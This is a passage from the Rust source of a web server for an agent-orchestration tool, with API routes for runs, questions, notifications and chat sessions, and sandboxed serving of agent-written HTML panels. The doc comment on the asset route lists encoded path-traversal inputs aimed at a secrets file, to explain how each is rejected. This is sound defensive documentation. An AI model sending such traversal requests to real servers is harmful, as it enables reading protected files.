5291        .filter(|id| !next.contains_key(*id))
5292        .cloned()
5293        .collect();
5294    changed.sort_unstable();
5295    removed.sort_unstable();
5296    Delta {
5297        base,
5298        changed,
5299        removed,
5300    }
5301}
5302
5303/// Change detection token for recorded runs under `runs`.
5304///
5305/// Combines the id and `run.json` modification time of each run, so adding,
5306/// updating, or deleting any run — even an older one — moves the revision and
5307/// notifies connected clients via the change stream. Returns 0 when no runs
5308/// exist.
5309fn runs_revision(runs: &FsPath) -> u64 {
5310    stamps_revision(&store_stamps(runs, true))
5311}
5312
5313/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5314/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5315/// and deleting an older conversation (a newest-mtime token cannot do that).
5316fn stamps_revision(stamps: &Stamps) -> u64 {
5317    use std::hash::{Hash as _, Hasher as _};
5318    if stamps.is_empty() {
5319        return 0;
5320    }
5321    let mut entries: Vec<_> = stamps.iter().collect();
5322    entries.sort_unstable();
5323    let mut hasher = std::hash::DefaultHasher::new();
5324    entries.hash(&mut hasher);
5325    hasher.finish().max(1)
5326}
5327
5328/// Run ids under `runs`, newest first.
5329///
5330/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5331/// which reads the process-global home: the server has to be drivable against
5332/// a temp directory for any of this to be testable.
5333fn run_ids(runs: &FsPath) -> Vec<String> {
5334    let mut ids: Vec<String> = std::fs::read_dir(runs)
5335        .into_iter()
5336        .flatten()
5337        .flatten()
5338        .filter(|e| e.path().join("run.json").is_file())
5339        .map(|e| e.file_name().to_string_lossy().into_owned())
5340        .collect();
5341    // Ids start with a sortable timestamp.
5342    ids.sort_unstable_by(|a, b| b.cmp(a));
5343    ids
5344}
5345
5346/// Read one run's state from an explicit runs root.
5347fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5348    let path = runs.join(id).join("run.json");
5349    let body =
5350        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5351    let state: RunState =
5352        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5353    // The same migration `RunState::load` applies, so a record from the
5354    // previous schema reads here as it does everywhere else (an origin-less
5355    // run shows as "origin unknown") instead of vanishing from the phone the
5356    // moment the schema is bumped.
5357    run::migrate_schema(state)
5358}
5359
5360/// Runs on disk under `runs` whose state this build cannot parse - almost
5361/// always a schema bump, occasionally a run killed mid-write.
5362///
5363/// Exposed so every surface that reports on runs shares one count instead of
5364/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5365/// `magi doctor` calls this directly rather than guessing at the same number
5366/// a second way.
5367#[must_use]
5368pub fn runs_unreadable(runs: &FsPath) -> usize {
5369    run_ids(runs)
5370        .into_iter()
5371        .filter(|id| read_run(runs, id).is_err())
5372        .count()
5373}
5374
5375/// Expand an id or short id to exactly one run id.
5376fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5377    if runs.join(id).join("run.json").is_file() {
5378        return Ok(id.to_owned());
5379    }
5380    pick(run_ids(runs), id, "run")
5381}
5382
5383/// Expand an id or short id to exactly one task id.
5384fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5385    if queue.path_of(id).is_file() {
5386        return Ok(id.to_owned());
5387    }
5388    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5389}
5390
5391/// A question as the phone reads it.
5392///
5393/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5394/// text already parsed into a node tree so the client never runs its own
5395/// markdown reader over agent-authored prose. A relative image path in it
5396/// resolves against this question's own panel asset route, which is the one
5397/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5398/// separate, sandboxed document, but `detail` is rendered inline in the
5399/// operator's own page, so an image reference in it may only ever point at
5400/// files magi itself already serves for this question.
5401#[derive(Debug, Serialize)]
5402struct QuestionView {
5403    #[serde(flatten)]
5404    question: Question,
5405    detail_md: Vec<md::Node>,
5406    /// Each thread turn's body, parsed; same order as `question.thread`.
5407    thread_bodies_md: Vec<Vec<md::Node>>,
5408    /// Each thread turn's deputy note, parsed (`None` for a turn without
5409    /// one); same order as `question.thread`.
5410    thread_notes_md: Vec<Option<Vec<md::Node>>>,
5411    /// Is the ball in the agent's court right now?
5412    ///
5413    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5414    /// [`Question::say`] - so this is the one field that tells the phone to
5415    /// disable the answer controls and show "waiting for the agent" instead of
5416    /// a card the owner can act on. Computed rather than stored on
5417    /// [`Question`] itself, on the same reasoning as `waiting` on
5418    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5419    /// it here means the client never has to re-derive that rule.
5420    waiting_on_agent: bool,
5421    /// Who is waiting on this open question - see [`holder_of`]. Separate
5422    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5423    /// anyone is there to take it.
5424    holder: Option<&'static str>,
5425    /// Whether `magi serve` can start a follow-up agent for a conductor
5426    /// question at all: false when `daemon.max_deputies = 0` or the config is
5427    /// unreadable. Separate from `holder`, which says who is listening now.
5428    deputies_enabled: bool,
5429    /// `question.run` is a task id (conductor / triage questions), not a run
5430    /// id, so the UI links it to the task page.
5431    run_is_task: bool,
5432    /// The chat conversation this question's task came from, when the owner
5433    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
5434    /// UI offers "Ask the chat agent" only when this is set; it is never one
5435    /// of `question.choices`.
5436    origin_chat: Option<String>,
5437}
5438
5439impl QuestionView {
5440    /// The view of `question`, reading who is waiting on it from `store`.
5441    ///
5442    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5443    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5444        let base = md::ImageBase::QuestionPanel {
5445            id: question.id.clone(),
5446        };
5447        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5448        Self {
5449            detail_md: md::to_nodes(&question.detail, &base),
5450            thread_bodies_md: question
5451                .thread
5452                .iter()
5453                .map(|t| md::to_nodes(&t.body, &base))
5454                .collect(),
5455            thread_notes_md: question
5456                .thread
5457                .iter()
5458                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5459                .collect(),
5460            waiting_on_agent: question.waiting_on_agent(),
5461            holder,
5462            deputies_enabled,
5463            run_is_task: question.run_names_task(),
5464            origin_chat: None,
5465            question,
5466        }
5467    }
5468
5469    /// Fill `origin_chat` from the queue and the talks.
5470    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5471        self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5472        self
5473    }
5474}
5475
5476/// The config this repository resolves, or `None` when it cannot be read.
5477/// Discovering is git processes plus a config render, so a request that needs
5478/// it for many items takes it once and passes it down.
5479fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5480    Config::discover(repo, None).ok().map(|(c, _)| c)
5481}
5482
5483/// Can `magi serve` start a deputy for this question under `cfg`?
5484fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5485    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5486}
5487
5488/// The views `GET /api/questions` answers. `load` runs at most once, however
5489/// many questions there are, and not at all when there are none.
5490fn question_views(
5491    qs: Vec<Question>,
5492    store: &ask::Questions,
5493    load: impl FnOnce() -> Option<Config>,
5494) -> Vec<QuestionView> {
5495    if qs.is_empty() {
5496        return Vec::new();
5497    }
5498    let cfg = load();
5499    qs.into_iter()
5500        .map(|q| {
5501            let on = deputies_enabled(cfg.as_ref(), &q);
5502            QuestionView::of(q, store, on)
5503        })
5504        .collect()
5505}
5506
5507/// Who is honestly waiting on an open question right now: `"asker"` (the
5508/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5509/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5510/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5511/// up, or the question never had anyone listening (a conductor question or a
5512/// merge approval from before deputies, or not yet given one).
5513///
5514/// `None` for a question that is settled, and for one that is not an agent's
5515/// to wait on at all (a release notice).
5516fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5517    if !q.status.open() {
5518        return None;
5519    }
5520    if q.cwd.is_none() && q.deputy.is_none() {
5521        return crate::deputy::kind_of(q).map(|_| "nobody");
5522    }
5523    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5524        Some(_) if q.deputy.is_some() => "deputy",
5525        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5526        Some(_) => "asker",
5527        None => "nobody",
5528    })
5529}
5530
5531/// `GET /api/questions`.
5532///
5533/// Everything, not just the open ones: an answered question is the record of a
5534/// decision, and the phone is where the operator goes back to check what they
5535/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5536async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5537    blocking(move || {
5538        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5539        Ok(Json(
5540            question_views(ui.questions.list(), &ui.questions, || {
5541                deputy_config(&ui.repo)
5542            })
5543            .into_iter()
5544            .map(|v| v.with_origin(&tasks, &talks))
5545            .collect(),
5546        ))
5547    })
5548    .await
5549}
5550
5551/// `GET /api/notifications`: not dismissed, newest first, with the unread
5552/// count so the badge and the list cannot disagree.
5553async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5554    blocking(move || {
5555        let items = ui.notices.list();
5556        let unread = items.iter().filter(|n| n.unread()).count();
5557        Ok(Json(
5558            serde_json::json!({ "unread": unread, "items": items }),
5559        ))
5560    })
5561    .await
5562}
5563
5564fn notice_error(e: anyhow::Error) -> ApiError {
5565    // An unknown or malformed id and a vanished file are the same answer to
5566    // the phone: that notification is gone.
5567    ApiError::not_found(format!("{e:#}"))
5568}
5569
5570/// `POST /api/notifications/{id}/read`.
5571async fn notification_read(
5572    State(ui): State<Arc<Ui>>,
5573    Path(id): Path<String>,
5574) -> ApiResult<Json<Notice>> {
5575    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5576}
5577
5578/// `POST /api/notifications/{id}/dismiss`.
5579async fn notification_dismiss(
5580    State(ui): State<Arc<Ui>>,
5581    Path(id): Path<String>,
5582) -> ApiResult<Json<Notice>> {
5583    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5584}
5585
5586/// `POST /api/notifications/read-all`.
5587async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5588    blocking(move || {
5589        let changed = ui.notices.mark_all_read()?;
5590        Ok(Json(serde_json::json!({ "marked": changed })))
5591    })
5592    .await
5593}
5594
5595/// The body of `POST /api/questions/{id}/answer`.
5596///
5597/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5598/// a bad request rather than a guess: an answer magi invented is worse than a
5599/// question left open.
5600#[derive(Debug, Default, Deserialize)]
5601#[serde(default, deny_unknown_fields)]
5602struct NewAnswer {
5603    choice: Option<String>,
5604    text: Option<String>,
5605}
5606
5607async fn question_answer(
5608    State(ui): State<Arc<Ui>>,
5609    Path(id): Path<String>,
5610    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5611) -> ApiResult<Json<QuestionView>> {
5612    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5613    let answer = match (body.choice, body.text) {
5614        (Some(c), None) => Answer::Choice(c),
5615        (None, Some(t)) => Answer::Text(t),
5616        (Some(_), Some(_)) => {
5617            return Err(ApiError::bad_request(
5618                "send either `choice` or `text`, not both",
5619            ));
5620        }
5621        (None, None) => {
5622            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5623        }
5624    };
5625
5626    blocking(move || {
5627        let id = resolve_question(&ui.questions, &id)?;
5628        let q = ui
5629            .questions
5630            .get(&id)
5631            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5632        if !q.status.open() {
5633            // Answered from the terminal, or by another phone, in between the
5634            // list and the tap. The UI shows the recorded answer rather than an
5635            // error, so it needs the record, not just the status.
5636            return Err(ApiError::conflict(format!(
5637                "question {} is already {}",
5638                q.short(),
5639                q.status.as_str()
5640            )));
5641        }
5642        // `Question::answer` owns the rules - an unoffered choice, free text on
5643        // a multiple-choice question, an empty reply - so the route does not
5644        // restate them and cannot drift from the CLI's behaviour.
5645        let (q, ()) = ui
5646            .questions
5647            .update(&q.id, |r| r.answer(answer))
5648            .map_err(ApiError::bad_request_from)?;
5649        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5650        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5651        Ok(Json(
5652            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5653        ))
5654    })
5655    .await
5656}
5657
5658/// The body of `POST /api/questions/{id}/say`.
5659#[derive(Debug, Deserialize)]
5660#[serde(deny_unknown_fields)]
5661struct NewSay {
5662    body: String,
5663}
5664
5665/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5666///
5667/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5668/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5669/// file, so there is no turn to serialize against and no
5670/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5671/// is a *different* process - the run parked behind `magi ask` - and picks
5672/// the reply up on its own poll of the very same file, same as an answer
5673/// does.
5674async fn question_say(
5675    State(ui): State<Arc<Ui>>,
5676    Path(id): Path<String>,
5677    body: std::result::Result<Json<NewSay>, JsonRejection>,
5678) -> ApiResult<Json<QuestionView>> {
5679    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5680    blocking(move || {
5681        let id = resolve_question(&ui.questions, &id)?;
5682        let q = ui
5683            .questions
5684            .get(&id)
5685            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5686        if !q.status.open() {
5687            // Same granularity as `question_answer`: answered or abandoned in
5688            // between the list and the tap is not this route's error to
5689            // explain any differently.
5690            return Err(ApiError::conflict(format!(
5691                "question {} is already {}",
5692                q.short(),
5693                q.status.as_str()
5694            )));
5695        }
5696        // `Question::say` owns the one rule that matters here - an empty
5697        // message tells the agent nothing - so the route does not restate it.
5698        let (q, ()) = ui
5699            .questions
5700            .update(&q.id, |r| r.say(body.body))
5701            .map_err(ApiError::bad_request_from)?;
5702        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5703        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5704        Ok(Json(
5705            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5706        ))
5707    })
5708    .await
5709}
5710
5711/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
5712/// came from. The question stays open: the chat agent answers it with `magi
5713/// answer`, or puts the decision to the owner in the conversation.
5714///
5715/// Answers 202 and runs the turn in the background, like every route that
5716/// spends agent calls. The text is queued as a draft of the existing talk, and
5717/// the turn goes through the talk's own gate and session; no seat or waiter is
5718/// started here.
5719async fn question_consult(
5720    State(ui): State<Arc<Ui>>,
5721    Path(id): Path<String>,
5722) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5723    let (view, reclaimed) = blocking({
5724        let ui = Arc::clone(&ui);
5725        move || {
5726            let id = resolve_question(&ui.questions, &id)?;
5727            let q = ui
5728                .questions
5729                .get(&id)
5730                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5731            if !q.status.open() {
5732                return Err(ApiError::conflict(format!(
5733                    "question {} is already {}",
5734                    q.short(),
5735                    q.status.as_str()
5736                )));
5737            }
5738            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5739            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5740                return Err(ApiError::conflict(format!(
5741                    "question {} has no open chat to ask",
5742                    q.short()
5743                )));
5744            };
5745            // Read the config before `begin` saves anything: a failure here
5746            // must leave no consult record or draft behind, or a retry would
5747            // see `fresh == false` and never start the turn.
5748            let cfg = if q.consult.is_none() {
5749                Some(Config::discover(&talk.repo, None)?.0)
5750            } else {
5751                None
5752            };
5753            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5754            let claim = if fresh {
5755                match ui.begin_queued_talk_turn(&talk.id)? {
5756                    Some(turn_guard) => {
5757                        let talk = ui.talks.get(&talk.id)?;
5758                        let cfg = match cfg {
5759                            Some(cfg) => cfg,
5760                            None => Config::discover(&talk.repo, None)?.0,
5761                        };
5762                        Some((talk, cfg, turn_guard))
5763                    }
5764                    None => None,
5765                }
5766            } else {
5767                None
5768            };
5769            let q = ui.questions.get(&q.id)?;
5770            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5771            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5772            Ok((view, claim))
5773        }
5774    })
5775    .await?;
5776    if let Some((talk, cfg, turn_guard)) = reclaimed {
5777        let talks = ui.talks.clone();
5778        let id = talk.id.clone();
5779        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5780    }
5781    Ok((StatusCode::ACCEPTED, Json(view)))
5782}
5783
5784/// Expand an id or short id to exactly one question id.
5785fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5786    if store.path_of(id).is_file() {
5787        return Ok(id.to_owned());
5788    }
5789    pick(
5790        store.list().into_iter().map(|q| q.id).collect(),
5791        id,
5792        "question",
5793    )
5794}
5795
5796/// `GET /api/questions/{id}/panel`.
5797///
5798/// The panel an agent wrote for this question, as `text/html` under
5799/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5800/// A question without one is a 404 rather than an empty page: the client
5801/// preflights this route with `HEAD` and must be able to tell "no panel" from
5802/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5803/// parent document so it cannot tell the difference by looking.
5804///
5805/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5806/// sanitises or minifies it - a sanitiser is a list of things someone thought
5807/// of, and the sandbox plus the CSP is a list of things that are allowed, which
5808/// is the direction that stays safe when an agent writes markup nobody
5809/// predicted.
5810async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5811    blocking(move || {
5812        let id = resolve_question(&ui.questions, &id)?;
5813        let Some(html) = ui.questions.panel_html(&id) else {
5814            return Err(ApiError::not_found(format!("question {id} has no panel")));
5815        };
5816        Ok(panel_response(
5817            "text/html; charset=utf-8",
5818            false,
5819            html.into_bytes(),
5820        ))
5821    })
5822    .await
5823}
5824
5825/// `GET /api/questions/{id}/asset/{name}`.
5826///
5827/// One file from the question's own panel directory, so a panel can show a
5828/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
5829/// having to allow anything off this machine.
5830///
5831/// This is the only route in the server where a client names a file, so it is
5832/// the only one with a traversal surface, and the name is checked by
5833/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
5834/// what is worth being explicit about, because the answer is not "all of it in
5835/// one place":
5836///
5837/// * `asset/../../secrets` never reaches this handler at all. axum matches on
5838///   the raw request path and `{name}` spans exactly one segment, so a real
5839///   slash makes the request too long for the route and the router answers 404.
5840/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
5841///   percent-decodes path parameters, so `name` arrives as `../secrets` and
5842///   `..\secrets` respectively, which look like plain filenames to the router.
5843///   The validator refuses them here - both for the literal `..` and because
5844///   `/` and `\` are not in the permitted character set - and answers 400.
5845/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
5846///   the platform's path API is not, and it is refused here for the same
5847///   reason: NUL is not a permitted character.
5848/// * [`Questions::panel_asset`] validates again on read, so the check is not
5849///   load-bearing in only one place. This route's own check exists so the
5850///   failure is a 400 that says which name was wrong, rather than a store error
5851///   the operator has to interpret.
5852async fn question_asset(
5853    State(ui): State<Arc<Ui>>,
5854    Path((id, name)): Path<(String, String)>,
5855) -> ApiResult<Response> {
5856    // Before any filesystem work and before any path is built: a name this
5857    // server will not serve should not become a `PathBuf` at all.
5858    if !crate::ask::valid_asset_name(&name) {
5859        return Err(ApiError::bad_request(format!(
5860            "`{name}` is not a usable asset name"
5861        )));
5862    }
5863    blocking(move || {
5864        let id = resolve_question(&ui.questions, &id)?;
5865        let asset = ui
5866            .questions
5867            .panel_asset(&id, &name)
5868            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5869        let Some(bytes) = asset else {
5870            return Err(ApiError::not_found(format!(
5871                "question {id} has no asset `{name}`"
5872            )));
5873        };
5874        Ok(panel_response(
5875            asset_content_type(&name),
5876            is_svg(&name),
5877            bytes,
5878        ))
5879    })
5880    .await
5881}
5882
5883/// Content type for a panel asset, from a closed whitelist.
5884///
5885/// A whitelist with an `application/octet-stream` fallback rather than a
5886/// guess, because the one answer that must never come out of here is
5887/// `text/html`. An agent that writes `notes.html` into its panel directory and
5888/// links it would otherwise get its own markup rendered at the top level of the
5889/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
5890/// magi's origin - which is precisely the thing the panel design exists to
5891/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
5892///
5893/// `nosniff` accompanies this on every response, so a browser cannot decide it
5894/// knows better than the type we sent.
5895fn asset_content_type(name: &str) -> &'static str {
5896    match extension(name).as_deref() {
5897        Some("png") => "image/png",
5898        Some("jpg" | "jpeg") => "image/jpeg",
5899        Some("gif") => "image/gif",
5900        Some("webp") => "image/webp",
5901        Some("svg") => "image/svg+xml",
5902        Some("css") => "text/css; charset=utf-8",
5903        Some("txt") => "text/plain; charset=utf-8",
5904        _ => "application/octet-stream",
5905    }
5906}
5907
5908/// Is this an SVG, and therefore a file that must never be opened at the top
5909/// level?
5910fn is_svg(name: &str) -> bool {
5911    extension(name).as_deref() == Some("svg")
5912}
5913
5914/// Lowercased extension, or `None` for a name without one.
5915fn extension(name: &str) -> Option<String> {
5916    name.rsplit_once('.')
5917        .map(|(_, ext)| ext.to_ascii_lowercase())
5918}
5919
5920/// Every panel response, with the four headers that make it safe and, for an
5921/// SVG, a fifth.
5922///
5923/// One function rather than a header list per handler, because a panel route
5924/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
5925/// model gone, silently, on one of two routes. Adding a third panel route later
5926/// means calling this, and there is nowhere else to build a panel response.
5927///
5928/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
5929/// as an `<img src>` inside the panel that script cannot run - but the asset
5930/// URL is also a plain URL an operator can be talked into opening in a tab,
5931/// where it is a document on magi's own origin. `Content-Disposition:
5932/// attachment` makes the browser download it instead of rendering it, which
5933/// closes that door without taking away the ability to draw a diff. Raster
5934/// images have no such execution surface and are left inline, so tapping a
5935/// screenshot still shows it.
5936fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5937    let mut res = (
5938        [
5939            (header::CONTENT_TYPE, content_type),
5940            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5941            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5942            (header::REFERRER_POLICY, "no-referrer"),
5943        ],
5944        body,
5945    )
5946        .into_response();
5947    if download {
5948        res.headers_mut().insert(
5949            header::CONTENT_DISPOSITION,
5950            HeaderValue::from_static("attachment"),
5951        );
5952    }
5953    res
5954}
5955
5956/// A talk as the phone reads it.
5957///
5958/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
5959/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
5960/// parses markdown itself - and the process-local `thinking` hint.
5961#[derive(Debug, Serialize)]
5962struct TalkView {
5963    #[serde(flatten)]
5964    talk: Talk,
5965    turn_bodies_md: Vec<Vec<md::Node>>,
5966    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
5967    /// this server process.
5968    ///
5969    /// This is deliberately not durable: another server process cannot see
5970    /// it, and a restarted server must not claim an old turn is live. It is a
5971    /// progress hint rather than proof a reply landed; the transcript remains
5972    /// the source of truth for that.
5973    thinking: bool,
5974    /// Context-window usage, derived per request - see
5975    /// [`talk::context_usage`]. Carried on every talk response (list, detail
5976    /// and each mutation) so the phone needs no extra call or polling.
5977    context: talk::ContextUsage,
5978    /// `[talk] operator_name`, when configured; the Chat labels the
5979    /// operator's turns with it.
5980    operator_name: Option<String>,
5981    /// The active persona's display name; `None` for the default voice.
5982    persona_name: Option<String>,
5983}
5984
5985impl TalkView {
5986    /// Reads the talk's repository config itself; a config that cannot be
5987    /// read leaves the window unknown but never fails the conversation.
5988    fn new(talk: Talk, thinking: bool) -> Self {
5989        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5990        Self::with_config(talk, thinking, cfg.as_ref())
5991    }
5992
5993    /// As [`Self::new`], with the config already in hand (the list reads one
5994    /// per repository, not one per conversation).
5995    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5996        let context = talk::context_usage(&talk, cfg);
5997        let turn_bodies_md = talk
5998            .turns
5999            .iter()
6000            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6001            .collect();
6002        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6003        let persona_name = persona::find(specs, &talk.persona)
6004            .filter(|p| !p.is_default())
6005            .map(|p| p.name);
6006        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6007        Self {
6008            turn_bodies_md,
6009            thinking,
6010            context,
6011            operator_name,
6012            persona_name,
6013            talk,
6014        }
6015    }
6016}
6017
6018/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6019/// conversation has filed, so the phone can follow one from inside the
6020/// conversation that asked for it rather than hunting the Queue for a task id
6021/// it may not remember.
6022#[derive(Debug, Serialize)]
6023struct TalkDetailView {
6024    #[serde(flatten)]
6025    view: TalkView,
6026    tasks: Vec<TaskView>,
6027    /// The agents this talk's repository can switch to; empty when its
6028    /// configuration cannot be read, which must not fail the whole detail.
6029    roster: Vec<RosterEntry>,
6030    /// The personas the conversation can pick from. The built-ins are always
6031    /// listed, even when the repository's configuration cannot be read.
6032    personas: Vec<PersonaEntry>,
6033}
6034
6035/// One persona as the talk's persona selector shows it.
6036#[derive(Debug, Serialize)]
6037struct PersonaEntry {
6038    id: String,
6039    name: String,
6040}
6041
6042/// One roster agent as the talk's agent selector shows it.
6043#[derive(Debug, Serialize)]
6044struct RosterEntry {
6045    id: String,
6046    kind: AgentKind,
6047    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6048    runnable: bool,
6049}
6050
6051/// `GET /api/talks`.
6052///
6053/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6054/// own order.
6055async fn talks_list(
6056    State(ui): State<Arc<Ui>>,
6057    Query(q): Query<ListQuery>,
6058) -> ApiResult<Json<Vec<TalkView>>> {
6059    blocking(move || {
6060        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6061        Ok(Json(
6062            ui.talks
6063                .list()
6064                .into_iter()
6065                .filter(|talk| q.contains(&talk.id))
6066                .map(|talk| {
6067                    let thinking = ui.is_thinking(&talk.id);
6068                    let cfg = configs
6069                        .entry(talk.repo.clone())
6070                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6071                    TalkView::with_config(talk, thinking, cfg.as_ref())
6072                })
6073                .collect(),
6074        ))
6075    })
6076    .await
6077}
6078
6079/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6080/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6081/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6082/// end still opens a talk against an older binary.
6083#[derive(Debug, Default, Deserialize)]
6084#[serde(default)]
6085struct NewTalk {
6086    agent: Option<String>,
6087    repo: Option<PathBuf>,
6088}
6089
6090/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6091/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6092async fn talk_post(
6093    State(ui): State<Arc<Ui>>,
6094    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6095) -> ApiResult<impl IntoResponse> {
6096    // An absent body, or an empty one, is the normal way to open a talk - see
6097    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6098    // rather than refused.
6099    let body = match body {
6100        Ok(Json(body)) => body,
6101        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6102        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6103    };
6104    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6105    let cfg = config_for(&repo).await?;
6106    let view = blocking(move || {
6107        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6108        let thinking = ui.is_thinking(&talk.id);
6109        Ok(TalkView::new(talk, thinking))
6110    })
6111    .await?;
6112    Ok((StatusCode::CREATED, Json(view)))
6113}
6114
6115/// `GET /api/talks/{id}`.
6116async fn talk_detail(
6117    State(ui): State<Arc<Ui>>,
6118    Path(id): Path<String>,
6119) -> ApiResult<Json<TalkDetailView>> {
6120    blocking(move || {
6121        let id = resolve_talk(&ui.talks, &id)?;
6122        let talk = ui.talks.get(&id)?;
6123        let thinking = ui.is_thinking(&talk.id);
6124        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6125            .into_iter()
6126            .map(TaskView::from)
6127            .collect();
6128        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6129        let roster = cfg
6130            .as_ref()
6131            .map(|cfg| {
6132                cfg.agents
6133                    .iter()
6134                    .map(|a| RosterEntry {
6135                        id: a.id.clone(),
6136                        kind: a.kind,
6137                        runnable: agent::installed(a),
6138                    })
6139                    .collect()
6140            })
6141            .unwrap_or_default();
6142        let specs = cfg
6143            .as_ref()
6144            .map(|cfg| cfg.talk.personas.clone())
6145            .unwrap_or_default();
